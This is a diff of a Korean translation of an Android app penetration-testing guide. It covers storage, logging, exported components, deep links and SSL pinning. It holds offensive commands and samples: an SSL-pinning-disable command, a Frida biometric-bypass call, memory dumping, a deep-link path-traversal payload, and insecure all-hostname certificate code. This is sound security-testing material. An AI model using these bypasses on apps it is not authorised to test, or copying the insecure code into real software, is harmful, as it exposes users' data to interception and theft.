- 외부 저장소의 파일은 **전 세계적으로 읽고 쓸 수 있습니다**. 즉, 모든 애플리케이션이나 사용자가 이러한 파일에 접근할 수 있습니다.
2. **보안 문제**:
- 접근이 용이하므로 **민감한 정보를 외부 저장소에 저장하지 않는 것이 좋습니다**.
- 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안이 떨어집니다.
- 외부 저장소는 제거되거나 모든 애플리케이션에 의해 접근될 수 있어 보안성이 떨어집니다.
3. **외부 저장소에서 데이터 처리**:
- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증을 수행**하세요. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다.
- 외부 저장소에서 검색한 데이터에 대해 항상 **입력 검증**을 수행합니다. 이는 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 중요합니다.
- 동적 로딩을 위해 외부 저장소에 실행 파일이나 클래스 파일을 저장하는 것은 강력히 권장되지 않습니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증된 후 동적으로 로드되도록 해야 합니다**. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 검색해야 하는 경우, 이러한 파일이 **서명되고 암호학적으로 검증**되었는지 확인해야 합니다. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 중요합니다.
외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 접근할 수 있습니다.
> [!NOTE]
> Android 4.4 (**API 17**)부터 SD 카드에는 **앱 전용 디렉토리로의 접근을 제한하는 디렉토리 구조**가 있습니다. 이는 악의적인 애플리케이션이 다른 앱의 파일에 대한 읽기 또는 쓰기 접근을 얻지 못하도록 방지합니다.
> Android 4.4(**API 17**)부터 SD 카드에는 **앱 전용 디렉토리로의 접근을 제한하는 디렉토리 구조**가 있습니다. 이는 악의적인 애플리케이션이 다른 앱의 파일에 대한 읽기 또는 쓰기 접근을 얻는 것을 방지합니다.
**명확한 텍스트로 저장된 민감한 데이터**
@ -134,7 +134,7 @@ Android에서 **내부** 저장소에 **저장된** 파일은 **생성한 앱**
**모든 인증서 수락**
어떤 이유로 개발자들이 호스트 이름이 코드의 다음 줄과 일치하지 않더라도 모든 인증서를 수락하는 경우가 있습니다:
어떤 이유로 개발자는 때때로 호스트 이름이 다음과 같은 코드 줄과 일치하지 않더라도 모든 인증서를 수락합니다:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -149,7 +149,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Use of Insecure and/or Deprecated Algorithms**
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항**이 가능한 해시를 사용해야 합니다.
개발자는 **권장되지 않는 알고리즘**을 사용하여 **검증**을 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘에는 RC4, MD4, MD5, SHA1 등이 포함됩니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항성**이 있는 해시를 사용해야 합니다.
### Other checks
@ -270,15 +270,15 @@ You need to activate the **debugging** options and it will be cool if you can **
> [!WARNING]
> **Android 4.0** 이후 버전에서는 **애플리케이션이 자신의 로그에만 접근할 수 있습니다**. 따라서 애플리케이션은 다른 앱의 로그에 접근할 수 없습니다.\
> 어쨌든, **민감한 정보를 로그에 남기지 않는 것이 여전히 권장됩니다**.
> 어쨌든, **민감한 정보를 로그에 기록하지 않는 것이 여전히 권장됩니다**.
**Copy/Paste Buffer Caching**
Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣기 기능을 가능하게 하지만, **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 신용 카드 세부정보와 같은 애플리케이션의 민감한 섹션에 대해 **복사/붙여넣기** 기능을 비활성화하는 것이 중요합니다.
Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣기 기능을 가능하게 하지만, **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 민감한 섹션(예: 신용 카드 세부정보)에서는 **복사/붙여넣기** 기능을 비활성화하는 것이 중요합니다.
**Crash Logs**
애플리케이션이 **충돌**하고 **로그를 저장**하는 경우, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션을 리버스 엔지니어링할 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 남기지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다.
애플리케이션이 **충돌**하고 **로그를 저장**하면, 이러한 로그는 공격자에게 도움이 될 수 있으며, 특히 애플리케이션이 리버스 엔지니어링될 수 없는 경우 더욱 그렇습니다. 이 위험을 완화하기 위해 충돌 시 로그를 기록하지 않도록 하고, 로그를 네트워크를 통해 전송해야 하는 경우 SSL 채널을 통해 전송되도록 해야 합니다.
펜테스터로서, **이 로그를 살펴보는 것을 시도해 보세요**.
@ -291,13 +291,13 @@ Android의 **클립보드 기반** 프레임워크는 앱에서 복사-붙여넣
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에 생성된 **데이터베이스**, **테이블** 및 **열**의 이름과 저장된 모든 **데이터**를 살펴보아야 합니다. 왜냐하면 **민감한 정보**(취약점이 될 수 있음)를 찾을 수 있기 때문입니다.\
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며, 예를 들어 `/data/data/com.mwr.example.sieve/databases`와 같습니다.
데이터베이스가 기밀 정보를 저장하고 **암호화**되어 있지만 애플리케이션 내에서 **비밀번호**를 찾을 수 있다면 여전히 **취약점**입니다.
데이터베이스가 기밀 정보를 저장하고 **암호화되어** 있지만 애플리케이션 내에서 **비밀번호**를 **찾을 수** 있다면 여전히 **취약점**입니다.
`.tables`를 사용하여 테이블을 나열하고, `.schema <table_name>`을 사용하여 테이블의 열을 나열합니다.
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 **Android 앱의 역할을 가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 **가정하고** 다른 앱과 상호작용할 수 있게 해줍니다. 이는 설치된 애플리케이션이 할 수 있는 모든 작업을 수행할 수 있으며, Android의 프로세스 간 통신(IPC) 메커니즘을 활용하고 기본 운영 체제와 상호작용할 수 있습니다.\
Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악용하는 데 유용한 도구**입니다.
### Exploiting exported Activities
@ -307,7 +307,7 @@ Drozer는 **내보낸 활동, 내보낸 서비스 및 콘텐츠 제공자를 악
**Authorisation bypass**
활동이 내보내지면 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **민감한 정보**가 **내보내진** 활동이 있는 경우 **인증** 메커니즘을 **우회**하여 접근할 수 있습니다.
활동이 내보내지면 외부 앱에서 해당 화면을 호출할 수 있습니다. 따라서 **민감한 정보**가 **내보내진** 활동이 있다면 **인증** 메커니즘을 **우회**하여 접근할 수 있습니다.
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
@ -325,31 +325,31 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**민감한 정보 유출**
**활동은 결과를 반환할 수도 있습니다**. 만약 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환하는** 내보내기된 보호되지 않은 활동을 찾는 데 성공한다면, 민감한 정보 유출이 발생합니다.
**활동은 결과를 반환할 수도 있습니다**. 만약 보호되지 않은 내보내기된 활동을 찾아 **`setResult`** 메서드를 호출하고 **민감한 정보를 반환**한다면, 민감한 정보 유출이 발생합니다.
#### Tapjacking
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 작업을 수행하게** 만들 수 있습니다. Tapjacking에 대한 더 많은 정보는 [**여기를 참조하세요**](#tapjacking).
Tapjacking이 방지되지 않으면, 내보내기된 활동을 악용하여 **사용자가 예상치 못한 행동을 하게 만들 수 있습니다**. Tapjacking에 대한 더 많은 정보는 [**여기를 따라가세요**](#tapjacking).
### 콘텐츠 제공자 악용 - 민감한 정보 접근 및 조작
[**콘텐츠 제공자가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#content-provider)\
콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그들로부터 **민감한** 데이터를 **추출**할 수 있을 것입니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
콘텐츠 제공자는 기본적으로 **데이터를 공유**하는 데 사용됩니다. 앱에 사용 가능한 콘텐츠 제공자가 있다면, 그로부터 **민감한** 데이터를 **추출**할 수 있을지도 모릅니다. 또한 **SQL 인젝션** 및 **경로 탐색**을 테스트하는 것도 흥미롭습니다. 이들은 취약할 수 있습니다.
[**Drozer로 콘텐츠 제공자를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#content-providers)
### **서비스 악용**
[**서비스가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#services)\
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 점을 기억하세요.
서비스의 동작은 `onStartCommand` 메서드에서 시작된다는 것을 기억하세요.
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보 추출**, 인증 수단 우회 등을 위해 **동적으로 테스트**해야 합니다.\
서비스는 기본적으로 **데이터를 수신**하고, **처리**하며 **응답**(또는 하지 않을 수 있음)을 **반환**하는 것입니다. 따라서 애플리케이션이 일부 서비스를 내보내고 있다면, **코드**를 **확인**하여 그것이 무엇을 하는지 이해하고, **민감한 정보 추출**, 인증 우회 등을 위해 **동적으로** **테스트**해야 합니다.\
[**Drozer로 서비스를 악용하는 방법을 배우세요.**](drozer-tutorial/index.html#services)
### **브로드캐스트 수신기 악용**
[**브로드캐스트 수신기가 무엇인지 새롭게 알고 싶다면 읽어보세요.**](android-applications-basics.md#broadcast-receivers)\
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 점을 기억하세요.
브로드캐스트 수신기의 동작은 `onReceive` 메서드에서 시작된다는 것을 기억하세요.
브로드캐스트 수신기는 특정 유형의 메시지를 기다리고 있습니다. 수신기가 메시지를 처리하는 방식에 따라 취약할 수 있습니다.\
[**Drozer로 브로드캐스트 수신기를 악용하는 방법을 배우세요.**](#exploiting-broadcast-receivers)
@ -361,7 +361,7 @@ MobSF와 같은 도구나 [이 스크립트](https://github.com/ashleykinguk/FBL
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해당 링크를 열어야 하는 앱을 호출합니다._
_패키지 이름을 **생략할 수** 있으며, 모바일은 해당 링크를 열어야 하는 앱을 자동으로 호출합니다._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
@ -376,12 +376,12 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해
**민감한 정보**
딥링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인하세요**, 다른 애플리케이션이 **딥링크를 가장하여 해당 데이터를 훔칠 수 있기 때문입니다!**
딥 링크를 찾을 때마다 **URL 매개변수를 통해 민감한 데이터(예: 비밀번호)를 수신하지 않는지 확인**하세요. 다른 애플리케이션이 **딥 링크를 가장하여 해당 데이터를 훔칠 수 있습니다!**
**경로의 매개변수**
**딥링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다**. 예: `https://api.example.com/v1/users/{username}`. 이 경우, 다음과 같이 경로 탐색을 강제할 수 있습니다: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
애플리케이션 내에서 올바른 엔드포인트를 찾으면 **Open Redirect**(경로의 일부가 도메인 이름으로 사용되는 경우), **계정 탈취**(CSRF 토큰 없이 사용자 세부정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메서드를 사용하는 경우) 및 기타 취약점을 유발할 수 있습니다. 더 많은 [정보는 여기에서](http://dphoeniixx.com/2020/12/13-2/) 확인하세요.
**딥 링크가 URL의 경로 내에서 매개변수를 사용하고 있는지 확인해야 합니다.** 예: `https://api.example.com/v1/users/{username}`. 이 경우, `example://app/users?username=../../unwanted-endpoint%3fparam=value`와 같은 경로 탐색을 강제할 수 있습니다.\
애플리케이션 내에서 올바른 엔드포인트를 찾으면 **Open Redirect**(경로의 일부가 도메인 이름으로 사용되는 경우), **계정 탈취**(CSRF 토큰 없이 사용자 세부정보를 수정할 수 있고 취약한 엔드포인트가 올바른 메서드를 사용하는 경우) 및 기타 취약점을 유발할 수 있습니다. 더 많은 [정보는 여기](http://dphoeniixx.com/2020/12/13-2/)에서 확인하세요.
**더 많은 예시**
@ -389,9 +389,9 @@ _패키지 이름을 **생략할 수** 있으며, 모바일은 자동으로 해
### 전송 계층 검사 및 검증 실패
- **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다**. 이러한 애플리케이션이 경고를 무시하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 경우가 흔합니다.
- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다**, 안전하지 않은 암호화 스위트를 사용하는 경우가 있습니다. 이 취약점은 연결을 중간자 공격(MITM)에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다.
- **민감한 정보 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래에 대해 비안전한 채널을 통해 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티에 의해 가로채는 것으로부터 보호하지 못합니다.
- **인증서는 Android 애플리케이션에서 항상 제대로 검사되지 않습니다.** 이러한 애플리케이션이 경고를 간과하고 자체 서명된 인증서를 수락하거나, 경우에 따라 HTTP 연결로 되돌아가는 것이 일반적입니다.
- **SSL/TLS 핸드셰이크 중 협상이 때때로 약합니다.** 안전하지 않은 암호 모음을 사용하는 경우가 있습니다. 이 취약점은 연결을 중간자(MITM) 공격에 취약하게 만들어 공격자가 데이터를 복호화할 수 있게 합니다.
- **민감한 정보의 유출**은 애플리케이션이 안전한 채널을 사용하여 인증하지만 다른 거래를 위해 비안전한 채널로 통신할 때 위험이 있습니다. 이 접근 방식은 세션 쿠키나 사용자 세부정보와 같은 민감한 데이터를 악의적인 엔티티의 가로채기로부터 보호하지 못합니다.
#### 인증서 검증
@ -405,16 +405,16 @@ SSL 핀닝은 애플리케이션이 서버의 인증서를 애플리케이션
HTTP 트래픽을 검사하려면 **프록시 도구의 인증서를 설치해야 합니다**(예: Burp). 이 인증서를 설치하지 않으면 암호화된 트래픽이 프록시를 통해 표시되지 않을 수 있습니다. 사용자 지정 CA 인증서를 설치하는 방법에 대한 가이드는 [**여기를 클릭하세요**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성을 수정하는 방법에 대한 지침은 [**이 튜토리얼을 참조하세요**](make-apk-accept-ca-certificate.md).
**API Level 24 이상**을 대상으로 하는 애플리케이션은 프록시의 CA 인증서를 수락하도록 네트워크 보안 구성을 수정해야 합니다. 이 단계는 암호화된 트래픽을 검사하는 데 중요합니다. 네트워크 보안 구성을 수정하는 방법에 대한 지침은 [**이 튜토리얼**](make-apk-accept-ca-certificate.md)을 참조하세요.
#### SSL 핀닝 우회
SSL 핀닝이 구현된 경우 HTTPS 트래픽을 검사하기 위해 이를 우회해야 합니다. 이를 위한 다양한 방법이 있습니다:
- **apk**를 자동으로 **수정하여** SSLPinning을 **우회**하는 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 사용할 수 있습니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다.
- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 다음과 같습니다: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **apk**를 **수정하여** SSLPinning을 우회하는 방법은 [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)을 사용하는 것입니다. 이 옵션의 가장 큰 장점은 SSL 핀닝을 우회하기 위해 루트가 필요하지 않지만, 애플리케이션을 삭제하고 새로 설치해야 하며, 항상 작동하지는 않습니다.
- **Frida**를 사용하여 이 보호를 우회할 수 있습니다(아래에서 논의됨). Burp+Frida+Genymotion을 사용하는 방법에 대한 가이드는 [여기](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)에서 확인하세요.
- **objection**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명됨).
- **MobSF 동적 분석**을 사용하여 SSL 핀닝을 **자동으로 우회**할 수도 있습니다(아래에서 설명).
- 여전히 캡처하지 못한 트래픽이 있다고 생각되면 **iptables를 사용하여 트래픽을 burp로 포워딩**할 수 있습니다. 이 블로그를 읽어보세요: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 일반 웹 취약점 찾기
@ -431,13 +431,13 @@ Android 애플리케이션을 펜테스트하려면 Frida를 사용하는 방법
- Frida로 작업하기 위한 "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection은 Frida 사용을 자동화하는 데 훌륭합니다: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- 여기에서 멋진 Frida 스크립트를 찾을 수 있습니다: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에서 지시한 대로 Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회해 보세요 (도구 [linjector](https://github.com/erfur/linjector-rs))
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)에서 지시한 대로 Frida를 로드하여 안티 디버깅 / 안티 Frida 메커니즘을 우회해 보세요(도구 [linjector](https://github.com/erfur/linjector-rs)).
### **메모리 덤프 - Fridump**
애플리케이션이 비밀번호나 암기구문과 같은 민감한 정보를 저장하고 있지 않은지 확인하세요.
[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 다음과 같이 앱의 메모리를 덤프할 수 있습니다:
[**Fridump3**](https://github.com/rootbsd/fridump3)를 사용하여 앱의 메모리를 덤프할 수 있습니다:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
```
### **Keystore의 민감한 데이터**
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **액세스할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** 펜테스트는 루트 사용자로 확인해야 하며, 물리적으로 장치에 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소이지만, 충분한 권한이 있으면 여전히 **접근할 수 있습니다**. 애플리케이션이 여기에서 **민감한 데이터를 일반 텍스트로 저장하는 경향이 있기 때문에** pentests는 이를 확인해야 하며, 루트 사용자나 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다.
@ -468,13 +468,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
```
### **배경 이미지**
애플리케이션을 백그라운드에 두면, Android는 **애플리케이션의 스냅샷**을 저장하므로, 포그라운드로 복구될 때 앱보다 이미지를 먼저 로드하여 앱이 더 빨리 로드된 것처럼 보입니다.
애플리케이션을 백그라운드에 두면, Android는 **애플리케이션의 스냅샷**을 저장하여 포그라운드로 복구될 때 앱보다 이미지를 먼저 로드하여 앱이 더 빨리 로드된 것처럼 보이게 합니다.
그러나 이 스냅샷에 **민감한 정보**가 포함되어 있다면, 스냅샷에 접근할 수 있는 사람이 **그 정보를 훔칠 수** 있습니다(접근하려면 루트 권한이 필요합니다).
그러나 이 스냅샷에 **민감한 정보**가 포함되어 있다면, 스냅샷에 접근할 수 있는 사람은 **그 정보를 훔칠 수 있습니다** (접근하려면 루트 권한이 필요합니다).
스냅샷은 일반적으로 다음 위치에 저장됩니다: **`/data/system_ce/0/snapshots`**
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창의 내용이 안전하게 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없도록 방지됩니다.
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창의 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -486,7 +486,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
개발자는 종종 이러한 인텐트를 처리하고 `startActivity(...)` 또는 `sendBroadcast(...)`와 같은 메서드로 전달하는 프록시 구성 요소인 액티비티, 서비스 및 브로드캐스트 수신기를 생성합니다. 이는 위험할 수 있습니다.
위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있는 경우입니다.
위험은 공격자가 이러한 인텐트를 잘못 유도하여 비공개 앱 구성 요소를 트리거하거나 민감한 콘텐츠 제공자에 접근할 수 있도록 허용하는 데 있습니다. 주목할 만한 예는 `WebView` 구성 요소가 URL을 `Intent` 객체로 변환하는 `Intent.parseUri(...)`를 통해 이를 실행하여 악의적인 인텐트 주입으로 이어질 수 있습니다.
### 주요 요점
@ -523,26 +523,26 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
MobSF는 **Android**(apk)**, IOS**(ipa) **및 Windows**(apx) 애플리케이션을 분석할 수 있습니다 (_Windows 애플리케이션은 Windows 호스트에 설치된 MobSF에서 분석해야 합니다_).\
또한, **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다.
MobSF는 **diff/Compare** 분석을 허용하고 **VirusTotal**와 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
MobSF는 **diff/비교** 분석을 허용하고 **VirusTotal**과 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD`를 `False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
### MobSF를 이용한 보조 동적 분석
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 MobSF와 **genymotion**을 호스트에 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작**한 후 **MobSF를 시작해야 합니다.**_\
**MobSF 동적 분석기**는 다음을 수행할 수 있습니다:
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 원할 때 눌러야 하거나 "**Exported Activity Tester**"를 눌러 모든 내보낸 활동의 스크린샷을 얻어야 합니다.
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되지만 스크린샷은 사용자가 원할 때 눌러야 하며, 모든 내보낸 활동의 스크린샷을 얻으려면 "**Exported Activity Tester**"를 눌러야 합니다.
- **HTTPS 트래픽 캡처**
- **Frida**를 사용하여 **런타임** **정보**를 얻기
Android **버전 > 5**에서는 **Frida를 자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 합니다. 테스트된 애플리케이션의 트래픽만 캡처합니다.
Android **버전 > 5**에서는 **자동으로 Frida**를 시작하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 설정합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다.
**Frida**
기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 **우회**하고 **흥미로운 API**를 **모니터링**하기 위해 일부 Frida 스크립트를 사용합니다.\
기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\
MobSF는 또한 **내보낸 활동을 호출**하고, 그 스크린샷을 **캡처**하여 보고서에 **저장**할 수 있습니다.
동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에서 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 **여러 개의 미리 작성된 스크립트**를 로드할 수 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다).
동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에 의해 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환된 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 **여러 개의 미리 작성된 스크립트**를 로드할 수 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 확인할 수 있습니다).
![](<../../images/image (419).png>)
@ -553,13 +553,13 @@ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (
